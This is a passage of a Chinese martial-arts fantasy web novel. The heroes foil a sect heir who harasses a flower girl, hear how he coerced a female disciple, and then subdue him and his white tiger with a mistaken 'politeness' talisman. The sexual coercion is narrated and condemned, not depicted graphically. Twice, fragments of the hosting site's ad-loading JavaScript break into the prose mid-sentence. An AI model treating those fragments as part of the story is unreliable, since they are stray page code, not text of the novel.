伏顺掏出一块碎银子给他,小心把符咒塞进了腰包里。本来觉得是可有可无的东西,花了钱忽然就觉得格外珍贵起来了。他腰包里还放着其他几张符咒,边缘都磨破了,还是以前李玉真给他们几个防身用的。李玉真看了一眼,道:“这都多久了,还没用完?” 伏顺嘿嘿一笑,道:“舍不得用,李道长给的东西,自然得好好留着。” 李玉真大方道:“活命的东西别省,用完就来找我,不收钱。” 伏顺十分感激,道:“多谢,还有什么要注意的吗?” 李玉真从刚才就想说了,皱眉道:“要讨女孩子欢心,起码把自己的卫生搞一搞,你有多久没洗澡了,一股汗味儿。” 伏顺下意识抬起胳膊闻了闻,感觉不是自己身上的味道。他想或许是自己闻习惯了,惭愧道:“我回去就洗。” 伏顺从步云邪身边经过,根本没发现旁边多了个人。步云邪低头闻了闻自己,确定这股怪味儿是从斗篷上散发出来的,却让伏顺背了锅。 他抬头的瞬间,脑袋上的兜帽不小心蹭掉了,李玉真就见他的脑袋漂浮在半空中。两个人大眼瞪小眼,李玉真惨叫了一声:“妈呀,有鬼!” 伏顺出了门,见段星河站在门口。他道:“大师兄,你在这里干什么?” 段星河还没来得及回答,就听屋里传来一声惨叫。两人夺门而入,就见李玉真躲在床后,瑟瑟发抖地看着前方。步云邪慢条斯理地把斗篷脱了下来,道:“别怕,一个小法宝,穿上能隐身的。” 那几人见他从只有一个脑袋变回了一个完整的人,都惊愕的说不出话来。步云邪淡定道:“李兄,你胆量不行啊,这么怕鬼怎么当道士?” 凭空一个脑袋出现在面前,还是好兄弟的,谁受得了。李玉真恼怒道:“你少来,有这鬼东西你先来吓唬我,怎么不去吓别人!” 步云邪哈哈地笑了,道:“咱们关系最好嘛。” 伏顺已经凑了过去,伸手摸了摸那个斗篷,道:“给我玩玩。” 李玉真也缓过劲儿来了,对这东西充满了好奇,道:“我也要玩,让我先来!” 两个人一起把斗篷披在了身上,身体各自消失了一半。那两人互相看着对方的怪模样,像小孩一样哈哈地笑了起来。李玉真闻到了里头若隐若现的臭味,道:“啊……是这个的味道,它怎么这么难闻?” 段星河道:“因为不能洗吧,里头有鬼脸蛛的蛛丝,一洗就破了。” 李玉真觉得有点遗憾,道:“那耐久应该挺差的吧,穿一次少一次。” 其他人也意识到了这一点,这么奇妙的东西穿着玩就太奢侈了。伏顺和李玉真把斗篷脱了下来,小心地放在床上。伏顺道:“大师兄,你拿去收好吧。” 段星河收起了斗篷,觉得是该珍惜一点。行走江湖难免遇到危险,这玩意儿以后说不定有大用途,好生留着肯定没错。 他把东西放回了屋,道:“吃饭了么,要不要一起去?” 步云邪道:“没呢,走吧。” 其他人陆续下了楼,时值正午,客栈大堂里坐满了人。南腔北调的,都是过往的江湖客。旁边一桌上坐着几个散人,正在低声聊着天。 一个大汉道:“诶,啸山宗的事听说了吗?连浩荡盟的女弟子他们都敢招惹,真是吃了熊心豹子胆啊。” 另一人道:“刘正锋也是会撇清关系,出了事就说私相授受败坏门风,把那个小姑娘逐出师门了。听说那姑娘都怀了三个月身孕了,那少爷也不是个靠得住的主儿……真作孽。” 又一个瘦子道:“刘正锋虽然是正道宗门的盟主,也不好得罪啸山宗的大少爷,毕竟他们供养着监兵神君嘛。” 那大汉道:“这不是狐假虎威吗?” 瘦子道:“本来就是啊,那些人怕刘正锋为难他家少爷,专门把白虎都带过来了。昨天夜里你听见虎吼没有,跟打雷似的,吓死人了。” 另一人注意到有人在听,胳膊肘轻轻地碰了碰兄弟,示意别说了。小二端来了菜,摆了满满一桌。段星河拿起了筷子,道:“吃饭吧。” 一盘蜜汁烧鹅皮红亮亮的,看着就好吃。伏顺便撕下了一只翅膀,道:“李道长,腿留给你,快吃。” 李玉真刚给他画了符,也不客气,便撕下了一条鹅腿。 段星河吃了一口菜,寻思着刚才那几人的话。浩荡盟离这边不远,就在凤来城,往北走个三五天就到了。之前他们因为灵光仙芝的事跟浩荡盟起过冲突,段星河对那个刘盟主的印象不太好,觉得那人冷酷利己,本质上跟其他人没什么区别,只不过坐在正道领袖的位置上,不得不做点表面功夫罢了。 段星河本来以为没人惹得动这座大山,听刚才那几个人的话,看来还真的有人敢在太岁头上动土,招惹了他的女徒弟。听他们的意思,刘正锋干脆断绝了跟那个弟子的关系,纵使他不在乎那个女弟子的死活,浩荡盟也为之颜面大失。段星河有些纳罕,不知道那啸山宗的人到底有多大的本事,居然能让正道宗门的盟主也吃个哑巴亏。 段星河低声道:“李兄,啸山宗是怎么回事?” 李玉真吃着鹅腿,道:“喔,啸山宗在巴蜀。据说他们祖上侍奉过四圣兽之一的白虎,也叫监兵神君。他们历代掌门的胸口上都纹一个虎头,走的是兵家一道。本来不温不火的,不过这一代的掌门有点本事,把监兵神君唤醒了,道上的人都不敢招惹他们。啸山宗在巴蜀圈了不少地,横行霸道的,没人敢管。” 段星河有些意外,四圣兽之一的白虎在他们门派,难怪刘正锋也要让他们三分。他道:“还有么?” 李玉真想了想道:“他们掌门叫张豪翼,算是个枭雄,老来得子,把他那个儿子骄纵的不像样,一天到晚惹是生非。不过也跟咱们没关系,不提他了,吃饭。” 他一提起啸山宗的少爷就有些心烦,段星河道:“李兄,你好像很讨厌这个人?” 李玉真叹了口气,道:“那小子叫张暮心,是道上有名的二世祖。我爹怕我也跟他一样欺男霸女,没事就提溜我,说他堂堂国师可不能养出那么不成器的儿子。如果我像他一样,就把我撵出去,让我自生自灭。” 段星河无论如何也想不到,这两个世家公子之间是这么个神交已久法。李玉真笑了一下,道:“反正现在我也自个儿出来了,日子过得比以前好多了。” 吃完了饭,步云邪想出去转转,段星河没什么事,便跟他一起。大街上人来人往,阳光照下来,晒的人暖洋洋的。一个十六七岁的女孩儿穿着淡粉色的衣裙,手里挽着个竹篮,招呼道:“公子,买花吗?” 她的篮子里装满了月季,红的、白的、粉的,还有用茉莉编的手环。都十月末了,她的花还十分娇艳。步云邪有点奇怪,道:“现在怎么还有这么多鲜花?” 少女道:“花房里养的,十文钱一朵,公子买一枝送给心上人吧。” 她的脸圆圆的,笑起来很甜,头上戴着一支茉莉花编成的簪子。步云邪觉的她很可爱,便买了一支白色的月季。少女注视了步云邪片刻,觉得他生的十分好看。她多拿了一个茉莉手环送给他,道:“公子,送你的。” 天这么冷,她一个小女孩儿出来卖花不容易。步云邪道:“多少钱?” 少女摇了摇头,仿佛有点不好意思,道:“不要钱,拿着吧。” 她说着挽着篮子,快步跑了,路边有几个小妇人也看着这边。段星河笑了,道:“看杀卫玠,今天见着真的了。” 步云邪对容貌并不在意,道:“哪敢跟人家比,就是一般人罢了。” 他低头嗅了一下,茉莉花散发着淡淡的清香,让他的心情也好了起来。他戴在了手上,去路边买了一包橘子。两人往前走了一阵子,忽然见有人骑着一匹白色的骏马从街上路过。他身后带着十来个随从,衣着光鲜,街上的人不敢触霉头,纷纷让到了路边。 方才那卖花的少女从旁边经过,也不敢高声叫卖了,低着头想快步走过去。那少爷却眯起了眼,觉得这小姑娘有几分姿色。他招了招手道:“小姑娘,卖的什么东西?” 少女不想回答他,又不敢不理,只得道:“卖花,公子要么。” 那公子哥儿看了一眼,道:“不错,我都要了。” 他掏出一锭金元宝扔到了那少女的怀里。女孩儿有些怯,道:“用不了这么多,我找不开。” 那公子哥儿咧嘴笑道:“不用找,一半儿买花,一半你陪我去喝一杯。” 少女十分慌张,向后退去,手里的花篮也掉到了地上,鲜花撒了一地。那少爷抬起下巴示意,几个随从围了上去。几匹高头大马把少女围 (function () {var id = "2377029035902478992-21409";document.write('''');(window.adbyunion = window.adbyunion || []).push(id);})(); () { $(''.inform'').remove(); $(''#content'').append('' 在中间,女孩儿向左走,马就拦在左边;她向右走,马就向右拦去。那几个人嘻嘻哈哈的,欺负一个小姑娘非但不害臊,还十分得意。 路上的人远远地看着那边,都皱起了眉头,觉得那恶少欺人太甚。 那少女十分害怕,快要哭出来了。一人道:“咱们少爷让你去喝一杯,是抬举你,你这臭丫头怎的这么不识抬举?” 小姑娘道:“我不去,你们快让开,我要回家!” 那帮人非但不退,反而哈哈大笑起来。一人道:“回什么家,先去吃酒再说,走——” 那人一把拉住了少女的手,忽然感觉身子一轻,被一道劲风从马上掀了下去。那人一头摔在了地上,疼得龇牙咧嘴的,诧异道:“什么人,为什么偷袭老子?” 段星河冷冷道:“当街调戏女子,你们眼里还有王法没有?” 步云邪把那少女护在了身后,道:“别害怕。” 女孩躲在路边,有点替他们担心。其他随从把段星河围住了,道:“你小子干什么的,敢触咱们的霉头?” 段星河道:“我是大幽钦天监的人,你们是谁,敢在这里欺负百姓?” 一人道:“大幽的人?这里是夷州,不是你们朝廷鹰犬说了算的地方!” 那大少爷一副傲然的模样,缓缓道:“咱们是啸山宗的人,供奉着监兵神君,你小子听过没有?” 段星河一诧,原来他就是刚才那些人说的二世祖。这人三十出头年纪,穿着一身青色的锦衣,中等身材,唇上留着一撮小胡子,一副倨傲的神态,看起来比传闻中更讨人厌一点。 段星河漠然道:“你们也不是本地的。这里是浩荡盟的地盘,我劝阁下莫要生事,给刘盟主一个面子。” 那些人互相看了一眼,哈哈地笑了起来。一人道:“刘盟主算什么,咱们刚见过了他,也没长着三头六臂。咱们少爷去了,他还不是得乖乖地看咱们啸山宗的意思。” 那少爷十分得意,道:“小子,我劝你识相一点,把那小妞交出来。今天本公子兴致好,不想跟你打架。” 步云邪护着那少女,冷着脸没理他。那少爷的几个狗腿子翻身下马,一人嚷道:“让你躲开,没听见是怎的!” 步云邪连手都没抬,段星河已经一拳把那人打翻在地。旁边几人急了眼,呼喝道:“敢跟啸山宗过不去,兄弟们,收拾他!” 段星河根本没把这些喽啰放在眼里,拳打脚踢,眨眼间就把他们都放倒了。那些人躺在地上直哎呦,狼狈的要命,围观的百姓们却轰然叫起好来,觉得十分痛快。那少爷被薄了面子,登时怒道:“好你个臭小子,敢在我面前撒野,看老子收拾你!” 他拔出了腰间的弯刀,一跃下了马,朝他砍了过去。段星河闪身躲过了,一手背在身后,仿佛要看看他有多少本事。那少爷又是接连几刀砍了过来,道:“让你知道我啸山宗刀法的厉害!” 这人常年浸淫在酒色中,身子都被淘虚了,只有嘴上喊得响亮。段星河看了他几招,感觉这人就是个绣花枕头。他一把攥住了那恶少的手,砰的一声把他按在了路边的水果摊上。黄澄澄的橘子噼里啪啦滚了一地,老板心疼的不得了,连声叫道:“我的橘子,哎呀——” 步云邪淡然道:“不用怕,这人有钱,让他赔你。” 段星河的手像钳子似的,攥的那恶少动弹不得。他又疼又怒,扭头道:“你敢打我,你知道我爹是谁吗?” 不过是啸山宗的二世祖,也没什么了不起的。段星河冷冷道:“你娘没告诉你么?” 围观的百姓一怔,随即哄笑起来。恶少的脸涨得通红,怒道:“好你个臭小子,你完了。你这个有爹生没娘养的东西,我要把你狗头砍下来,泡在粪坑里喂蛆!” 伏顺和赵大海从客栈里出来,见这边围了一圈人,以为有热闹可看,便挤了进来。却见大师兄按着一个人,那人正在破口大骂。 “我日你十八代祖宗,你个头上长疮脚下流脓的小瘪三,还不放手,我把你哔——剁下来塞你爹嘴里。我哔——,你哔哔——,哔哔哔哔——” 段星河:“……” 伏顺在外围看着,脸都绿了。他本来以为自己够能骂人的了,没想到强中更有强中手。那少爷看起来身份不低,居然这么会骂,简直比市井泼皮还粗俗。赵大海见步云邪在路边,挤过去道:“二师兄,怎么回事?” 步云邪轻描淡写道:“这流氓调戏小姑娘,星哥教训他一顿,没什么大不了的。” 地上的侍卫横七竖八地倒了一地,看这情况可没有他说的这么轻松。对面街上有几个人骑着马赶过来,带头的是一个中年文士。他到了近前翻身下马,那恶少见了他登时喊道:“荀先生,救我!” 那文士见了这情形,连忙道:“这位小兄弟,在下啸山宗军师荀越。我家公子不知何处得罪了阁下,能否先把他放了。” 段星河见这人还算讲理,道:“他调戏妇女,被我拦下来了,你说怎么办?” 荀越叹了口气,抬手向他行了一礼,道:“我是他的文墨师父,教养不利,是我的过错。我替他向各位道歉。” 那人生的细眉小眼的,也是一副心机深沉的模样。段星河知道他们蛇鼠一窝,也没必要跟他们结仇。他便放开了那人,道:“以后别再欺负人了。” 那恶少的胳膊都快被他扭下来了,又骂了一句娘,跌跌撞撞地站了起来。其他几个狗腿子也都爬了起来,纷纷道:“少爷,没事吧!” 恶少跌跌撞撞地要走,段星河又道:“慢着。” 少爷打了个激灵,浑身都僵住了,不知道这瘟神又想干嘛。段星河道:“把橘子钱赔了。” 那恶少怒道:“我日——摊子是你砸的,怎么让老子赔!” 段星河面无表情地掰了几下手指关节,发出咔咔的响声,道:“赔不赔?” 那文士怕又要打起来,连忙道:“我来,我来。” 他从腰里掏出一锭银子,放在摊子上,转身搀着那大少爷上了马。那少爷恶狠狠地盯了他一眼,道:“钦天监的,你叫什么名字?” 段星河道:“我叫段星河,你叫张暮心,是不是?” 那少爷知道自己恶名在外,被人知道也没什么意外的。他咬牙切齿道:“好,我记着了,咱们走着瞧!” 段星河也不怕他来找自己麻烦,一副无所谓的模样。那些人前呼后拥地走了,围观的百姓们也都散了。卖花的少女还有些心有余悸,道:“谢谢你们救我,对不起……给你们惹麻烦了。” 段星河道:“没事,赶紧回去吧。” 少女有点担心,道:“那你们也多加小心,千万别让他们再遇上了。” 步云邪微微一笑,道:“没事的,我们有功夫。” 少女捡起了篮子,又望了他们一眼,依依不舍地走了。段星河等人往回走去,伏顺道:“哥,刚才那些人干嘛的?” 段星河道:“啸山宗的。” 伏顺十分诧异,道:“啊,就是李兄说的那个,家里养白虎的那个?” 段星河嗯了一声,伏顺有点担忧,道:“他们势力挺大的吧,你修理了他,他们该不会来找咱们麻烦吧?” 赵大海道:“你想那么多干什么,大师兄修为这么强,能怕了他们!” 段星河没说话,做英雄确实得付出代价,但既然让自己遇上了,总不能坐视不理。那少爷就是个徒有其表的废物,应该兴不起多大的风浪。他正寻思着,忽然见路边的茶棚里,有人看着这边,朝他们挥了挥手。 “段兄——” 众人望过去,见那人是凌烟阁在这边分堂的堂主,之前卖给他们五色神种的庄晴。他穿着一身蓝色的衣袍,坐在桌边道:“刚换了新茶,来喝一杯?” 段星河走了过去,跟其他几个人落了座。庄晴在这里闲坐晒太阳,把刚才的情形都看见了。 他给段星河倒了一杯茶,道:“英雄救美,了不起,敬你一杯。” 段星河道:“就是路见不平,一点小事,也没什么。” 庄晴的神色凝重起来,低声道:“兄弟,这可不是什么小事。得罪了啸山宗的大少爷,你摊上大事了。” 67.隐身斗篷 二 初冬的风吹过,几片黄叶渐渐飘远了。桌上的茶冒着氤氲水气,淡淡的芝兰花香飘出来。 庄晴的表情严肃,好像真的有点替他们担心。凌烟阁的消息灵通,他身为堂主,应该知道不少事。段星河道:“啸山宗的人不是在巴蜀么,怎么会在这里?” 庄晴道:“北边就是浩荡盟,他们刚从凤来城过来,应该是上这边歇脚的。你还没听说他们的事?” 段星河在客栈听了一点风声,但没头没尾的。他凑得近了一点,道:“好兄弟,跟我说说。” 庄晴也刚从那边瞧热闹回来,正想跟人八卦,便道:“大约半年前吧,那个二世祖在夷州遇见了几个浩荡盟的弟子。当时那几个人被妖怪袭击,尸骨都被啃没了,只有一个女孩儿活了下来。他让人把那个姑娘的伤治好了,本来说要护送她回去的,结果半路就强占了人家。” 伏顺喔了一声,摸了摸下巴道:“我看那小子也不是什么正经人,不这么干就不是他了。” 其他人都有些同情那个姑娘,庄晴道:“她一个弱女子,打也打不过,跑也跑不了,没办法,只能凑合着跟他过。张暮心本来就好色,被他玩弄过的女子太多了。有不在乎的就当被狗咬了一口,老实的只能忍气吞声。后来这姑娘的事被浩荡盟的同门知道了,找到了她说啸山宗是邪宗,她跟着这少爷是败坏门风,给了她一条绳子、一把匕首,让她自己选。” 她身陷狼窝的时候那些人不来救,事后又来嫌弃她丢了师门的脸面。段星河皱起了眉头,道:“他们也知道那姓张的不是好人,不敢去对付他,就会欺负一个弱女子。” 庄晴叹了口气道:“那姑娘半夜吊了颈,被她一个师姐救回来了,说要带回去给师父裁决。她腹中已有了三个月的身孕,啸山宗的掌门就这么一个儿子,到现在还没娶妻生子。老爷子怕后继无人,说不能让他家的血脉流落到外头,让他去把人赎回来。” 赵大海担忧地道:“赎出来之后呢,他会娶她么?” 庄晴摇了摇头,道:“那姑娘没什么家世,不可能让她做少夫人。啸山宗的人一向心狠手辣,多半是去母留子。不过那女孩儿应该是心存幻想,觉得张暮心还是爱她的。” 步云邪冷淡道:“自欺欺人。” “谁说不是呢,”庄晴道,“但事已至此,她若是不骗骗自己,还怎么活下去。” 伏顺道:“不是……那姑娘不是浩荡盟的弟子吗,她被人欺负了,她师父不给她出头?” 庄晴道:“一开始刘盟主还是想给她撑腰的,张豪翼也怕刘正锋轻饶不了他儿子,把自家供奉的白虎都请出来了,一路护送他那宝贝儿子去凤来城负荆请罪,说他俩是年轻人情难自禁,让刘盟主高抬贵手成全了他们。” 众人都沉默下来,他们来这么一出,倒成了刘盟主棒打鸳鸯了。那白虎是四神君之一,掌管西方肃杀之气。刘正锋就算修为高深,跟它动起手来也未必能赢,闹得难看了还会被其他宗门看笑话,只能撒开手不管了。 段星河揉了揉眉心,觉得当盟主也没有大家想的那么风光,一天到晚大事忙不完,还要处理小儿女的家务官司,事事掣肘,实在闹心。 庄晴道:“前两天我也去凤来城瞧了,刘盟主让那姑娘自己决定,要是跟张暮心走,就把她逐出师门。若是留在浩荡盟,也要把她关一辈子禁闭,以儆效尤。” 他想起了当时的情形,仿佛又看见那女孩儿哭成泪人的模样,她舍不得师门,但也没办法割舍肚子里的孩子。他叹了口气道:“那姑娘跪下给刘正锋磕了三个头,选择跟张暮心走。那二世祖得意得很,拿了二千两银子赎了人,毫发无伤地从凤来城走了。其实他也没把她放在心上,这不刚才又在街上调戏别的女孩儿了吗?” 段星河觉得这人真是没救了,那个女孩跟着他必然没什么好日子过。可她失去的太多了,越是不愿看清现实,就越没办法回头。 他道:“那姑娘叫什么名字?” 庄晴道:“叫妙什么的……记不清了,就是瓜子脸,大眼睛,瘦瘦高高的。哎,典型的那种好看命薄的长相。” 浩荡盟这一代的女弟子道号都是妙字辈的,说了跟没说一样。对于看客来说,记得一个模糊的面容已经不容易了,没人会在意悲剧发生在谁身上。 段星河叹了口气,道:“好白菜都让猪拱了。” 步云邪道:“算了吧,人各有命,别想了。” 庄晴道:“那二世祖记仇的很,你得罪了他,他早晚要报复。啸山宗人多势众,听兄弟一句劝,赶紧走吧。” 段星河知道他是一片好意,点头道:“我知道了,多谢庄兄。” 他们本来还想在这里多休息几天,如今看来是不成了。补给都采买好了,众人歇了一宿,段星河叫兄弟们收拾了行李,次日一早便上了路。 路边的树掉光了叶子,到处一片萧瑟。结香靠在大车的角落里,正在打瞌睡。伏顺坐在她对面,悄悄地看了她一会儿,觉得结香哪儿都好看,身段也窈窕有致。车里这么昏暗,她的脸还是白生生的,实在不像那种穷乡僻壤能生出来的女孩儿,简直就像被贬到凡尘里的仙女似的。 李玉真注意到了他的眼神,轻咳了一声,示意他别老盯着人家大姑娘瞧。伏顺挪开了视线,又开始想念城里的好吃的,不甘心地说:“这就走了,我还没吃几顿好的呢。” 李玉真道:“你也没少吃啊,那么大一只烧鹅你自己吃了一半。” 伏顺想起了那只油汪汪的烧鹅,舔了舔嘴唇,道:“你说这林子里还有没有野鸡,咱们烤一只来吃。” 李玉真道:“那你要问段兄,他打猎是把好手。” 段星河听见了,四下望了一圈,没发现有飞禽走兽的踪迹。他道:“别想那些有的没的,有玉米粥吃就不错了。你的咸鸭蛋腌的怎么样了?” 伏顺弯下腰,摸了摸藏在大车座位下面的坛子,道:“刚腌上呢,怎么也得再过半个月才出油。” 正说着话,宋胡缨忽然竖起了耳朵,仿佛听见了什么动静。她回头望了一眼,道:“嘘——有人来了。” 周围什么人也没有,赵大海憨憨地说:“有吗,我没感觉到啊。” 段星河也感觉到了,大地传来震颤的声音。身后的大路上,有一队身穿黄衣的人骑马赶了过来。步云邪掏出千里镜望了一眼,带头的居然是昨天的那个大少爷,他身边还跟着那个狗头军师,和他们一起来的,赫然还有一只雄壮强悍的白虎。 这帮人果然记仇,回去寻思了一晚上就带人来报复了。对付那些人虽然不难,但那头白虎可是四圣兽之一,跟它碰硬可就失策了。 步云邪挥手道:“快快,赶紧走,啸山宗的人追过来了!” 段星河昨天跟张暮心动过手,觉得没什么好怕的,道:“那二世祖来了又怎么样,不用这么紧张吧。” 步云邪道:“他不是自己来的,还带了那头……” “吼——” 他话音未落,那头白虎咆哮起来,雄浑的声音震得整个山林都在颤抖。 赵大海吓得打了个哆嗦,兄弟几个迅速达成了一致,三十六计走为上。他驾着大车一路狂奔,一个急拐弯,车轮子都擦出火星子来了。伏顺差点从车上掉下去,慌忙扒住了栏杆,喊道:“啊啊啊啊——你悠着点!” 赵大海满头都是汗,道:“老虎来了,悠着点人就没了!” 李玉真和结香紧紧地抓着窗户和栏杆,生怕被甩出去。后头传来那少爷得意的喊声:“跑什么,昨天不是挺能耐的吗,站住——” 李玉真道:“别听他的,快跑!” 队伍向前奔走了一阵子,段星河听见身后的马蹄声没那么近了,稍微松了一口气。他抬手擦了一把汗,这才发现额头都湿透了。 伏顺颤巍巍地从车窗里探出头来,道:“他们撵不上了吧?” 一阵腥风扑过,一头吊睛白额猛虎扑了过来。伏顺吓坏了,连忙缩回了车里,喊道:“怎么回事,它怎么还跟着啊!” 那头猛虎扑到了他们跟前,一爪子拍下来,哐地一下子掀翻了大车,车里的东西稀里哗啦地撒了出来。结香下意识尖叫了一声,李玉真拉着她从车里钻出来。伏顺最后一个爬出来,见自己的罐子摔得粉碎,白花花的盐撒了一地,惨叫道:“我的咸鸭蛋!” 赵大海从前头摔了下去,马也惊了,抬头蹬着蹄子不住鸣叫。赵大海也顾不上自己最爱的牲口了,慌张道:“大师兄,是真家伙,怎么办啊!” 段星河道:“你的盾呢!” 赵大海这才想起来还有盾,连忙去杂物堆里扒翻。结香和伏顺躲在了他身后,赵大海架起了盾,道:“有我在,别害怕!” 那头猛虎那么凶悍,这面盾恐怕也起不到太大作用。段星河等人下了马,手里提着兵刃,警惕地看着前方。 那头白虎拦住了他们的去路,它是四圣兽之一,体型能随意变化。那头白虎有一人多高,浑身的肌肉饱满,骨骼粗壮,额头上的斑纹形成一个硕大的王字,一股霸气扑面而来。 它咆哮了一声,众人都被慑住了,感觉这玩意儿相当不好对付。张暮心等人骑着马赶到了,十来个人从四面八方围了过来,把段星河等人堵在了路中间。 那恶少骑在马上,居高临下地看着他们,道:“钦天监的小子,你倒是逞能啊,昨天不是挺狂的么?” 他带来的人嘻嘻哈哈地笑起来,狐假虎威的十分得意。段星河轻蔑道:“打不过就叫帮手,也太不讲武德了吧?” 张暮心扬起了嘴角,傲然道:“什么帮手,你说话尊重点,这是我们供奉的神。监兵神君陪我来夷州这一趟辛苦得很,好久都没吃人了。我今天带它来,就是请它老人家饱餐一顿的!” 那头猛虎伸出了鲜红肥大的舌头,舔了舔嘴唇,锐利的牙齿龇了出来。李玉真感觉不妙得很,想交代遗言了。他小声道:“宋姑娘……我,我一直都想跟你说,那个……” 宋胡缨把斩马/刀一挥,火红的烈焰在空中画出一道燃烧的轨迹,霸气道:“现在没空听,有什么话等会儿再说!” 张暮心这才注意到还有个漂亮的少女,顿时色心大起,道:“呦,这小姑娘跟个小辣椒似的,有点意思。等会儿记得把她拿下,要活的。” 宋胡缨的面色一沉,厉声道:“我去你的要活的,姑娘要你人头!” 她提着斩马/刀砍过去,张暮心知道自己有几斤几两,不跟她动手,早就躲到了侍卫身后。那头白虎吼了一声,朝宋胡缨扑了过去。李玉真吓懵了,连忙道:“不不不行,宋姑娘你回来——” 他说着要冲上去,伏顺一把抱住了他,道:“李兄,你功夫不如我义父,还是让她去吧。” 李玉真拼命挣扎,急道:“太危险了啊!” 宋胡缨一刀朝白虎砍过去,它一跃躲开了,尾巴像钢鞭一样甩过来。只是尾巴梢蹭到了些许,就把宋胡缨娇嫩的脸蛋儿抽的落了一道红印子。宋胡缨气得捏紧了斩马/刀,接连几刀朝它砍了过去。白虎穿行在烈焰之中,连半点皮毛都没被她沾到。 段星河一剑从它身后砍过去,白虎听到了风声,扭头一爪子抡过去。那一巴掌力气极大,把段星河掀得向后摔去。他凌空一个翻身,勉强站住了。张暮心哈哈大笑,道:“你们这些无名小卒,根本不是监兵神君的对手。赶紧乖乖认输,哥哥还能给你们条活路。” 又有人道:“给我家少爷磕一个,再把跟着你们的小姑娘都留下,爷们就放你们走。” 啸山宗的那帮狗腿子哈哈大笑,也有人吹起了口哨,眼睛不住往结香跟宋胡缨身上打量。李玉真一直都对宋胡缨敬若神明,这些人敢这么无礼,把他气的眼睛都红了。他怒道:“你们放屁!” 伏顺还是头一次听李玉真骂人,登时就傻眼了。赵大海也有点懵,道:“那个……李兄,息怒啊。你是有学问的人,别跟他们一般见识。” 李玉真撸起了袖子,道:“我揍不了别人,还揍不了那二世祖么——” 话是这么说,但小山一样的白虎拦在前头,他恐怕还没摸到张暮心的衣角,人就被老虎按住了。伏顺道:“别冲动,我来,我替你出气。” 他从袖子里摸出了两张符,道:“紫雷引,看我召雷轰死他们!” 那还是李玉真之前给他防身用的,伏顺用剑指夹着,奋力扔了出去,道:“左雷右火,雷公助我,去——” 符咒飘悠悠地糊在了张暮心的胸口,嗡地发出了一道红光,像生了根一样粘在他身上。那二世祖还没意识到事情的严重性,低头道:“什么鬼东西!” 他伸手要扯下来,符咒上顿时窜出一道火苗,把他的手烧伤了。张暮心甩了甩手,怒道:“你们这些小可爱,干嘛往我身上贴这种东西,好讨厌哦!” 他表情凶神恶煞的,大家以为他张嘴又要骂人,没想到他居然一个脏字没吐,简直都不像他了。 旁边一人想帮他撕下来,刚碰到符咒,一道火焰腾地从他胸口升了起来。他吓得从马上摔了下来,满地打滚道:“军师救我!” 其他人都慌了,七手八脚地帮少主把胸口的火焰拍灭了,谁也不敢硬撕那张符咒了。他的军师荀越皱起了眉头,道:“这是……” 李玉真见符咒烧了他们一顿,十分痛快,但总觉得有点不对劲。伏顺扔的是雷符,对方身上却生出了火焰。李玉真定睛一看,见符纸上画着一只凤凰,却是自己刚给伏顺画的礼貌符。他低声道:“兄弟,你扔错了。” 伏顺也发现了,心疼的不得了,嚷道:“天杀的倒霉玩意儿,这两张符纸花了我一钱银子呢。我自己都舍不得用,快还给我!” 赵大海道:“都粘在肉上了,一摸就火花带闪电的,撕下来你不嫌恶心?” 伏顺没办法,只能认栽了,道:“这玩意儿有用么?” 赵大海观察了片刻,道:“好像有点用,他刚才没骂人吧?” 李玉真发现另一张符纸飞出去糊在了白虎的后脑勺上。刚贴上那一阵子它浑身难受,摇头晃脑地想弄下来,过了一阵子它好像忘了有这回事了,低头舔起了爪子。 “呲溜——呲溜——” 刚才还凶神恶煞的一只老虎,此刻却蹲在路边专注地舔着爪子,一会儿又洗起了脸,突然变得爱干净起来。它的四肢并拢,尾巴甚至环绕着身体,生怕多占了一点空间,乖巧的就像一只小猫咪。 众人都惊呆了,无论如何也想不到那符咒有这么厉害,不但能改造人,连四圣兽都能影响得了。伏顺喃喃道:“家人们谁懂啊……” 赵大海道:“我懂,太吓人了。” 这种诡异的情形比白虎在他们面前吃了个人还可怕,众人怔怔地看着对面,一时间谁也不敢妄动。张暮心却觉得他们是在嘲讽自己,气得要命,拔出刀来道:“给我上——” 一群人跟着他冲了上来,段星河跟步云邪对付着那些喽啰,倒不用费多大力气。张暮心记恨那个朝自己扔符咒的小子,一刀朝伏顺砍了过来,吼道:“小心,我要砍你的左肩了,右肩,躲得很好!再来一招海底捞月,小心脚下!” 伏顺本来功夫练得稀松平常,在他的提醒下,居然也能跟他打的有来有往的。 赵大海举起盾牌,撞倒了几个人,回头望了一眼道:“干什么这是,给你喂招呢?” 伏顺忙于应付,答不上话来。张暮心恨不能把他祖宗十八代都骂一顿,到了嘴边却变成了彬彬有礼的话,简直怪了。 “一刀,两刀,小心,我这一刀要用力了!” 伏顺闪身躲了过去,张暮心的表情都扭曲了,恶狠狠道:“很好,幸亏你没受伤,要不然我就要自裁谢罪了!” 伏顺道:“那什么……要不你自裁谢罪也行。” 张暮心的表情明显是在骂人,却道:“再接我一招,力劈山岳!” 伏顺一猫腰躲了过去,反手一拳打在了张暮心的眼眶上,顿时把他眼睛打肿了。伏顺甩了甩手道:“不好意思,下手有点重。” 他说完反应过来,自己也被他传染了,打了人还要道歉。 赵大海架着盾护着结香和他的宝贝马匹,道:“别看它,不看就不怕了。” 他虽然这么 (function () {var id = "2377029035902478992-21409";document.write('''');(window.adbyunion = window.adbyunion || []).push(id);})(); () { $(''.inform'').remove(); $(''#content'').append('' 说,却下意识看了路边一眼。那头白虎忽然变得爱干净起来,对那些马一点兴趣也没有,只是不想让灰尘弄脏了自己,沉醉在舔毛当中。这边的人都打的头破血流了,它也漠不关心。 结香护着小对眼和墨墨,也悄悄地看了那白虎一眼,好怪,又看了一眼,道:“李兄真厉害啊……这么大一头老虎都能被你制服了。” 李玉真知道自己是有点天赋的,但常年被他爹打压,搞得自己很没有信心,画的符咒有时候灵力强一点,有时候效果就一般。今天算是运气不错,碰上状态好的时候了。宋胡缨一刀砍翻一个人,把斩马/刀抡了个弧,道:“李兄的符修天赋是顶尖的,在大新年轻一辈里没人是他的对手!” 她说话的态度淡淡的,却带着一股毋庸置疑的肯定。李玉真一诧,感动得不得了,除了师父,还没有人这么认可过自己。他低声道:“宋姑娘……” 他话没说完,张暮心喊道:“小心,我来了!” 他提着刀砍过来,哐地一声劈在中间,众人四下躲开了。赵大海嘿地一笑,道:“贴了符就是不一样,不搞偷袭。” 伏顺调侃道:“就是,武德充沛,我还没见过这么有礼貌的人呢。” 张暮心的脸涨得通红,看得出来很想骂他们几句,话到嘴边却变成了:“多谢,我做的还很不够,还要继续努力。” 